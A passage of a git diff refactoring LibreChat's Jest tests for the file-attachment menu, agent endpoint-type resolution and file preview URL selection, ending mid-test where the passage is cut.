+    it('passes agents endpointType when no agent_id', () => {
+      renderComponent({ endpoint: EModelEndpoint.agents });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+    });
+
+    it('uses agentData query when agent not in agentsMap', () => {
+      mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+    });
+  });
+
+  describe('endpointType resolution for non-agents', () => {
+    it('passes custom endpointType for a custom endpoint', () => {
+      renderComponent({ endpoint: 'Moonshot' });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+    });
+
+    it('passes openAI endpointType for openAI endpoint', () => {
+      renderComponent({ endpoint: EModelEndpoint.openAI });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+    });
+  });
+
+  describe('consistency: same endpoint type for direct vs agent usage', () => {
+    it('resolves Moonshot the same way whether used directly or through an agent', () => {
+      renderComponent({ endpoint: 'Moonshot' });
+      const directType = mockAttachFileMenuProps.endpointType;
+
+      mockAgentsMap = {
+        'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
+      };
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      const agentType = mockAttachFileMenuProps.endpointType;
+
+      expect(directType).toBe(agentType);
+    });
+  });
+
+  describe('endpointFileConfig resolution', () => {
+    it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
+      mockAgentsMap = {
+        'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
+      };
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+      expect(config?.fileLimit).toBe(5);
+    });
+
+    it('passes agents file config when agent has no specific provider config', () => {
+      mockAgentsMap = {
+        'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
+      };
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+      expect(config?.fileLimit).toBe(10);
+    });
+
+    it('passes agents file config when no agent provider', () => {
+      renderComponent({ endpoint: EModelEndpoint.agents });
+      const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+      expect(config?.fileLimit).toBe(20);
+    });
+  });
+});
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
index d3f0fb65bc..cf08721207 100644
--- a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
@@ -1,12 +1,10 @@
 import React from 'react';
 import { render, screen, fireEvent } from '@testing-library/react';
-import '@testing-library/jest-dom';
 import { RecoilRoot } from 'recoil';
 import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
-import { EModelEndpoint } from 'librechat-data-provider';
+import { EModelEndpoint, Providers } from 'librechat-data-provider';
 import AttachFileMenu from '../AttachFileMenu';
 
-// Mock all the hooks
 jest.mock('~/hooks', () => ({
   useAgentToolPermissions: jest.fn(),
   useAgentCapabilities: jest.fn(),
@@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({
 }));
 
 jest.mock('~/components/SharePoint', () => ({
-  SharePointPickerDialog: jest.fn(() => null),
+  SharePointPickerDialog: () => null,
 }));
 
 jest.mock('@librechat/client', () => {
-  const React = jest.requireActual('react');
+  // eslint-disable-next-line @typescript-eslint/no-require-imports
+  const R = require('react');
   return {
-    FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => (
-      <div data-testid="file-upload">
-        <input ref={ref} type="file" onChange={handleFileChange} data-testid="file-input" />
-        {children}
-      </div>
-    )),
-    TooltipAnchor: ({ render }: any) => render,
-    DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => {
-      const handleTriggerClick = () => {
-        if (setIsOpen) {
-          setIsOpen(!isOpen);
-        }
-      };
-
-      return (
-        <div>
-          <div onClick={handleTriggerClick}>{trigger}</div>
-          {isOpen && (
-            <div data-testid="dropdown-menu">
-              {items.map((item: any, idx: number) => (
-                <button key={idx} onClick={item.onClick} data-testid={`menu-item-${idx}`}>
-                  {item.label}
-                </button>
-              ))}
-            </div>
-          )}
-        </div>
-      );
-    },
-    AttachmentIcon: () => <span data-testid="attachment-icon">📎</span>,
-    SharePointIcon: () => <span data-testid="sharepoint-icon">SP</span>,
+    FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
+    TooltipAnchor: (props) => props.render,
+    DropdownPopup: (props) =>
+      R.createElement(
+        'div',
+        null,
+        R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
+        props.isOpen &&
+          R.createElement(
+            'div',
+            { 'data-testid': 'dropdown-menu' },
+            props.items.map((item, idx) =>
+              R.createElement(
+                'button',
+                { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
+                item.label,
+              ),
+            ),
+          ),
+      ),
+    AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
+    SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
   };
 });
 
-jest.mock('@ariakit/react', () => ({
-  MenuButton: ({ children, onClick, disabled, ...props }: any) => (
-    <button onClick={onClick} disabled={disabled} {...props}>
-      {children}
-    </button>
-  ),
-}));
+jest.mock('@ariakit/react', () => {
+  // eslint-disable-next-line @typescript-eslint/no-require-imports
+  const R = require('react');
+  return {
+    MenuButton: (props) => R.createElement('button', props, props.children),
+  };
+});
 
 const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
 const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
@@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock(
 ).default;
 const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
 
-describe('AttachFileMenu', () => {
-  const queryClient = new QueryClient({
-    defaultOptions: {
-      queries: { retry: false },
-    },
-  });
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
 
-  const mockHandleFileChange = jest.fn();
-
-  beforeEach(() => {
-    jest.clearAllMocks();
-
-    // Default mock implementations
-    mockUseLocalize.mockReturnValue((key: string) => {
-      const translations: Record<string, string> = {
-        com_ui_upload_provider: 'Upload to Provider',
-        com_ui_upload_image_input: 'Upload Image',
-        com_ui_upload_ocr_text: 'Upload OCR Text',
-        com_ui_upload_file_search: 'Upload for File Search',
-        com_ui_upload_code_files: 'Upload Code Files',
-        com_sidepanel_attach_files: 'Attach Files',
-        com_files_upload_sharepoint: 'Upload from SharePoint',
-      };
-      return translations[key] || key;
-    });
-
-    mockUseAgentCapabilities.mockReturnValue({
-      contextEnabled: false,
-      fileSearchEnabled: false,
-      codeEnabled: false,
-    });
-
-    mockUseGetAgentsConfig.mockReturnValue({
-      agentsConfig: {
-        capabilities: {
-          contextEnabled: false,
-          fileSearchEnabled: false,
-          codeEnabled: false,
-        },
-      },
-    });
-
-    mockUseFileHandling.mockReturnValue({
-      handleFileChange: mockHandleFileChange,
-    });
-
-    mockUseSharePointFileHandling.mockReturnValue({
-      handleSharePointFiles: jest.fn(),
-      isProcessing: false,
-      downloadProgress: 0,
-    });
-
-    mockUseGetStartupConfig.mockReturnValue({
-      data: {
-        sharePointFilePickerEnabled: false,
-      },
-    });
-
-    mockUseAgentToolPermissions.mockReturnValue({
-      fileSearchAllowedByAgent: false,
-      codeAllowedByAgent: false,
-      provider: undefined,
-    });
-  });
-
-  const renderAttachFileMenu = (props: any = {}) => {
-    return render(
-      <QueryClientProvider client={queryClient}>
-        <RecoilRoot>
-          <AttachFileMenu conversationId="test-conversation" {...props} />
-        </RecoilRoot>
-      </QueryClientProvider>,
-    );
+function setupMocks(overrides: { provider?: string } = {}) {
+  const translations: Record<string, string> = {
+    com_ui_upload_provider: 'Upload to Provider',
+    com_ui_upload_image_input: 'Upload Image',
+    com_ui_upload_ocr_text: 'Upload as Text',
+    com_ui_upload_file_search: 'Upload for File Search',
+    com_ui_upload_code_files: 'Upload Code Files',
+    com_sidepanel_attach_files: 'Attach Files',
+    com_files_upload_sharepoint: 'Upload from SharePoint',
   };
-
-  describe('Basic Rendering', () => {
-    it('should render the attachment button', () => {
-      renderAttachFileMenu();
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).toBeInTheDocument();
-    });
-
-    it('should be disabled when disabled prop is true', () => {
-      renderAttachFileMenu({ disabled: true });
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).toBeDisabled();
-    });
-
-    it('should not be disabled when disabled prop is false', () => {
-      renderAttachFileMenu({ disabled: false });
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).not.toBeDisabled();
-    });
+  mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
+  mockUseAgentCapabilities.mockReturnValue({
+    contextEnabled: false,
+    fileSearchEnabled: false,
+    codeEnabled: false,
   });
+  mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
+  mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
+  mockUseSharePointFileHandling.mockReturnValue({
+    handleSharePointFiles: jest.fn(),
+    isProcessing: false,
+    downloadProgress: 0,
+  });
+  mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
+  mockUseAgentToolPermissions.mockReturnValue({
+    fileSearchAllowedByAgent: false,
+    codeAllowedByAgent: false,
+    provider: overrides.provider ?? undefined,
+  });
+}
 
-  describe('Provider Detection Fix - endpointType Priority', () => {
-    it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders
-      });
+function renderMenu(props: Record<string, unknown> = {}) {
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <RecoilRoot>
+        <AttachFileMenu conversationId="test-convo" {...props} />
+      </RecoilRoot>
+    </QueryClientProvider>,
+  );
+}
 
-      renderAttachFileMenu({
-        endpoint: 'litellm',
-        endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders
-      });
+function openMenu() {
+  fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
+}
 
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
+describe('AttachFileMenu', () => {
+  beforeEach(jest.clearAllMocks);
 
-      // With the fix, should show "Upload to Provider" because endpointType is checked first
+  describe('Upload to Provider vs Upload Image', () => {
+    it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
+      setupMocks({ provider: 'Moonshot' });
+      renderMenu({ endpointType: EModelEndpoint.custom });
+      openMenu();
       expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
       expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
     });
 
-    it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: 'my-custom-gateway',
-      });
-
-      renderAttachFileMenu({
-        endpoint: 'my-custom-gateway',
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+    it('shows "Upload to Provider" when endpointType is openAI', () => {
+      setupMocks({ provider: EModelEndpoint.openAI });
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
     });
 
-    it('should show Upload Image when neither endpointType nor provider support documents', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: 'unsupported-provider',
-      });
+    it('shows "Upload to Provider" when endpointType is anthropic', () => {
+      setupMocks({ provider: EModelEndpoint.anthropic });
+      renderMenu({ endpointType: EModelEndpoint.anthropic });
+      openMenu();
+      expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+    });
 
-      renderAttachFileMenu({
-        endpoint: 'unsupported-provider',
-        endpointType: 'unsupported-endpoint' as any,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
+    it('shows "Upload to Provider" when endpointType is google', () => {
+      setupMocks({ provider: Providers.GOOGLE });
+      renderMenu({ endpointType: EModelEndpoint.google });
+      openMenu();
+      expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+    });
 
+    it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
+      setupMocks();
+      renderMenu({ endpointType: EModelEndpoint.agents });
+      openMenu();
       expect(screen.getByText('Upload Image')).toBeInTheDocument();
       expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
     });
 
-    it('should fallback to currentProvider when endpointType is undefined', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.openAI,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.openAI,
-        endpointType: undefined,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
+    it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
+      setupMocks({ provider: 'unknown-provider' });
+      renderMenu({ endpointType: 'unknown-type' });
+      openMenu();
+      expect(screen.getByText('Upload Image')).toBeInTheDocument();
+    });
 
+    it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
+      setupMocks({ provider: EModelEndpoint.azureOpenAI });
+      renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
+      openMenu();
       expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
     });
 
-    it('should fallback to currentProvider when endpointType is null', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.anthropic,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.anthropic,
-        endpointType: null,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+    it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
+      setupMocks({ provider: EModelEndpoint.azureOpenAI });
+      renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
+      openMenu();
+      expect(screen.getByText('Upload Image')).toBeInTheDocument();
     });
   });
 
-  describe('Supported Providers', () => {
-    const supportedProviders = [
-      { name: 'OpenAI', endpoint: EModelEndpoint.openAI },
-      { name: 'Anthropic', endpoint: EModelEndpoint.anthropic },
-      { name: 'Google', endpoint: EModelEndpoint.google },
-      { name: 'Custom', endpoint: EModelEndpoint.custom },
-    ];
-
-    supportedProviders.forEach(({ name, endpoint }) => {
-      it(`should show Upload to Provider for ${name}`, () => {
-        mockUseAgentToolPermissions.mockReturnValue({
-          fileSearchAllowedByAgent: false,
-          codeAllowedByAgent: false,
-          provider: endpoint,
-        });
-
-        renderAttachFileMenu({
-          endpoint,
-          endpointType: endpoint,
-        });
-
-        const button = screen.getByRole('button', { name: /attach file options/i });
-        fireEvent.click(button);
-
-        expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+  describe('agent provider resolution scenario', () => {
+    it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
+      setupMocks({ provider: 'Moonshot' });
+      renderMenu({
+        endpoint: EModelEndpoint.agents,
+        endpointType: EModelEndpoint.custom,
       });
-    });
-
-    it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.azureOpenAI,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.azureOpenAI,
-        endpointType: EModelEndpoint.azureOpenAI,
-        useResponsesApi: true,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      openMenu();
       expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
     });
 
-    it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.azureOpenAI,
+    it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
+      setupMocks();
+      renderMenu({
+        endpoint: EModelEndpoint.agents,
+        endpointType: EModelEndpoint.agents,
       });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.azureOpenAI,
-        endpointType: EModelEndpoint.azureOpenAI,
-        useResponsesApi: false,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
+      openMenu();
       expect(screen.getByText('Upload Image')).toBeInTheDocument();
     });
   });
 
+  describe('Basic Rendering', () => {
+    it('renders the attachment button', () => {
+      setupMocks();
+      renderMenu();
+      expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+    });
+
+    it('is disabled when disabled prop is true', () => {
+      setupMocks();
+      renderMenu({ disabled: true });
+      expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
+    });
+
+    it('is not disabled when disabled prop is false', () => {
+      setupMocks();
+      renderMenu({ disabled: false });
+      expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
+    });
+  });
+
   describe('Agent Capabilities', () => {
-    it('should show OCR Text option when context is enabled', () => {
+    it('shows OCR Text option when context is enabled', () => {
+      setupMocks();
       mockUseAgentCapabilities.mockReturnValue({
         contextEnabled: true,
         fileSearchEnabled: false,
         codeEnabled: false,
       });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
+      expect(screen.getByText('Upload as Text')).toBeInTheDocument();
     });
 
-    it('should show File Search option when enabled and allowed by agent', () => {
+    it('shows File Search option when enabled and allowed by agent', () => {
+      setupMocks();
       mockUseAgentCapabilities.mockReturnValue({
         contextEnabled: false,
         fileSearchEnabled: true,
         codeEnabled: false,
       });
-
       mockUseAgentToolPermissions.mockReturnValue({
         fileSearchAllowedByAgent: true,
         codeAllowedByAgent: false,
         provider: undefined,
       });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
     });
 
-    it('should NOT show File Search when enabled but not allowed by agent', () => {
+    it('does NOT show File Search when enabled but not allowed by agent', () => {
+      setupMocks();
       mockUseAgentCapabilities.mockReturnValue({
         contextEnabled: false,
         fileSearchEnabled: true,
         codeEnabled: false,
       });
-
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: undefined,
-      });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
     });
 
-    it('should show Code Files option when enabled and allowed by agent', () => {
+    it('shows Code Files option when enabled and allowed by agent', () => {
+      setupMocks();
       mockUseAgentCapabilities.mockReturnValue({
         contextEnabled: false,
         fileSearchEnabled: false,
         codeEnabled: true,
       });
-
       mockUseAgentToolPermissions.mockReturnValue({
         fileSearchAllowedByAgent: false,
         codeAllowedByAgent: true,
         provider: undefined,
       });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
     });
 
-    it('should show all options when all capabilities are enabled', () => {
+    it('shows all options when all capabilities are enabled', () => {
+      setupMocks();
       mockUseAgentCapabilities.mockReturnValue({
         contextEnabled: true,
         fileSearchEnabled: true,
         codeEnabled: true,
       });
-
       mockUseAgentToolPermissions.mockReturnValue({
         fileSearchAllowedByAgent: true,
         codeAllowedByAgent: true,
         provider: undefined,
       });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
-      expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+      expect(screen.getByText('Upload as Text')).toBeInTheDocument();
       expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
       expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
     });
   });
 
   describe('SharePoint Integration', () => {
-    it('should show SharePoint option when enabled', () => {
+    it('shows SharePoint option when enabled', () => {
+      setupMocks();
       mockUseGetStartupConfig.mockReturnValue({
-        data: {
-          sharePointFilePickerEnabled: true,
-        },
+        data: { sharePointFilePickerEnabled: true },
       });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
     });
 
-    it('should NOT show SharePoint option when disabled', () => {
-      mockUseGetStartupConfig.mockReturnValue({
-        data: {
-          sharePointFilePickerEnabled: false,
-        },
-      });
-
-      renderAttachFileMenu({
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
+    it('does NOT show SharePoint option when disabled', () => {
+      setupMocks();
+      renderMenu({ endpointType: EModelEndpoint.openAI });
+      openMenu();
       expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
     });
   });
 
   describe('Edge Cases', () => {
-    it('should handle undefined endpoint and provider gracefully', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: undefined,
-      });
-
-      renderAttachFileMenu({
-        endpoint: undefined,
-        endpointType: undefined,
-      });
-
+    it('handles undefined endpoint and provider gracefully', () => {
+      setupMocks();
+      renderMenu({ endpoint: undefined, endpointType: undefined });
       const button = screen.getByRole('button', { name: /attach file options/i });
       expect(button).toBeInTheDocument();
       fireEvent.click(button);
-
-      // Should show Upload Image as fallback
       expect(screen.getByText('Upload Image')).toBeInTheDocument();
     });
 
-    it('should handle null endpoint and provider gracefully', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: null,
-      });
-
-      renderAttachFileMenu({
-        endpoint: null,
-        endpointType: null,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).toBeInTheDocument();
+    it('handles null endpoint and provider gracefully', () => {
+      setupMocks();
+      renderMenu({ endpoint: null, endpointType: null });
+      expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
     });
 
-    it('should handle missing agentId gracefully', () => {
-      renderAttachFileMenu({
-        agentId: undefined,
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).toBeInTheDocument();
+    it('handles missing agentId gracefully', () => {
+      setupMocks();
+      renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
+      expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
     });
 
-    it('should handle empty string agentId', () => {
-      renderAttachFileMenu({
-        agentId: '',
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      expect(button).toBeInTheDocument();
-    });
-  });
-
-  describe('Google Provider Special Case', () => {
-    it('should use image_document_video_audio file type for Google provider', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.google,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.google,
-        endpointType: EModelEndpoint.google,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      const uploadProviderButton = screen.getByText('Upload to Provider');
-      expect(uploadProviderButton).toBeInTheDocument();
-
-      // Click the upload to provider option
-      fireEvent.click(uploadProviderButton);
-
-      // The file input should have been clicked (indirectly tested through the implementation)
-    });
-
-    it('should use image_document file type for non-Google providers', () => {
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.openAI,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.openAI,
-        endpointType: EModelEndpoint.openAI,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      const uploadProviderButton = screen.getByText('Upload to Provider');
-      expect(uploadProviderButton).toBeInTheDocument();
-      fireEvent.click(uploadProviderButton);
-
-      // Implementation detail - image_document type is used
-    });
-  });
-
-  describe('Regression Tests', () => {
-    it('should not break the previous behavior for direct provider attachments', () => {
-      // When using a direct supported provider (not through a gateway)
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.anthropic,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.anthropic,
-        endpointType: EModelEndpoint.anthropic,
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
-    });
-
-    it('should maintain correct priority when both are supported', () => {
-      // Both endpointType and provider are supported, endpointType should be checked first
-      mockUseAgentToolPermissions.mockReturnValue({
-        fileSearchAllowedByAgent: false,
-        codeAllowedByAgent: false,
-        provider: EModelEndpoint.google,
-      });
-
-      renderAttachFileMenu({
-        endpoint: EModelEndpoint.google,
-        endpointType: EModelEndpoint.openAI, // Different but both supported
-      });
-
-      const button = screen.getByRole('button', { name: /attach file options/i });
-      fireEvent.click(button);
-
-      // Should still work because endpointType (openAI) is supported
-      expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+    it('handles empty string agentId', () => {
+      setupMocks();
+      renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
+      expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
     });
   });
 });
diff --git a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
index 90c1c3a7b5..ccfa19ffc8 100644
--- a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
@@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({
   logger: {
     log: jest.fn(),
   },
+  getCachedPreview: jest.fn(() => undefined),
 }));
 
 jest.mock('../Image', () => {
@@ -95,7 +96,7 @@ describe('FileRow', () => {
   };
 
   describe('Image URL Selection Logic', () => {
-    it('should use filepath instead of preview when progress is 1 (upload complete)', () => {
+    it('should prefer cached preview over filepath when upload is complete', () => {
       const file = createMockFile({
         file_id: 'uploaded-file',
         preview: 'blob:http://localhost:3080/temp-preview',
@@ -109,8 +110,7 @@ describe('FileRow', () => {
       renderFileRow(filesMap);
 
       const imageUrl = screen.getByTestId('image-url').textContent;
-      expect(imageUrl).toBe('/images/user123/uploaded-file__image.png');
-      expect(imageUrl).not.toContain('blob:');
+      expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
     });
 
     it('should use preview when progress is less than 1 (uploading)', () => {
@@ -147,7 +147,7 @@ describe('FileRow', () => {
       expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
     });
 
-    it('should use filepath when both preview and filepath exist and progress is exactly 1', () => {
+    it('should prefer preview over filepath when both exist and progress is 1', () => {
       const file = createMockFile({
         file_id: 'complete-file',
         preview: 'blob:http://localhost:3080/old-blob',
@@ -161,7 +161,7 @@ describe('FileRow', () => {
       renderFileRow(filesMap);
 
       const imageUrl = screen.getByTestId('image-url').textContent;
-      expect(imageUrl).toBe('/images/user123/complete-file__image.png');
+      expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
     });
   });
 
@@ -284,7 +284,7 @@ describe('FileRow', () => {
 
       const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
       expect(urls).toContain('blob:http://localhost:3080/preview-1');
-      expect(urls).toContain('/images/user123/file-2__image.png');
+      expect(urls).toContain('blob:http://localhost:3080/preview-2');
     });
 
     it('should deduplicate files with the same file_id', () => {
@@ -321,10 +321,10 @@ describe('FileRow', () => {
     });
   });
 
-  describe('Regression: Blob URL Bug Fix', () => {
-    it('should NOT use revoked blob URL after upload completes', () => {
+  describe('Preview Cache Integration', () => {
+    it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
